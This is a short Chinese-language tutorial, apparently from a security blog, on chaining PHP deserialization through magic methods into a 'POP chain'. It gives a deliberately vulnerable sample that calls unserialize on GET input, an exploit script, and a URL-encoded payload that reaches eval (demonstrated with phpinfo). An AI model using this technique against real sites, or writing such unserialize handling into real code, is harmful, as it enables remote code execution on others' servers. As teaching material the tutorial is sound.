php反序列化pop链的构造

通常反序列化的攻击是在魔术方法中出现一些可利用的漏洞,通过自动调用来触发漏洞。

但是如果关键代码不在魔术方法中,而是在一个类的普通方法中。这个时候我们可以通过寻找相同的函数名将类的属性和敏感函数联系起来

借用网上的代码:

<?php
class lemon {
protected $ClassObj;

function __construct() {
$this->ClassObj = new normal();
}

function __destruct() {
$this->ClassObj->action();
}
}

class normal {
function action() {
echo "hello";
}
}

class evil {
private $data;
function action() {
eval($this->data);
}
}

unserialize($_GET['d']);

其中类normal 和 evil同时拥有action方法,并且evil中的方法是可控的,我们可以通过反序列化来掉用evil类中的action方法

exp:

<?php
class lemon {
protected $ClassObj;

function __construct() {
$this->ClassObj = new evil();
}

function __destruct() {
$this->ClassObj->action();
}
}

class normal {
function action() {
echo "hello";
}
}

class evil {
private $data = "phpinfo();";
function action() {
eval($this->data);
}
}

$a = new lemon();
echo urlencode(serialize($a));

会生成这样一段payload

O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

用get方式传入

可以看到成功进行了利用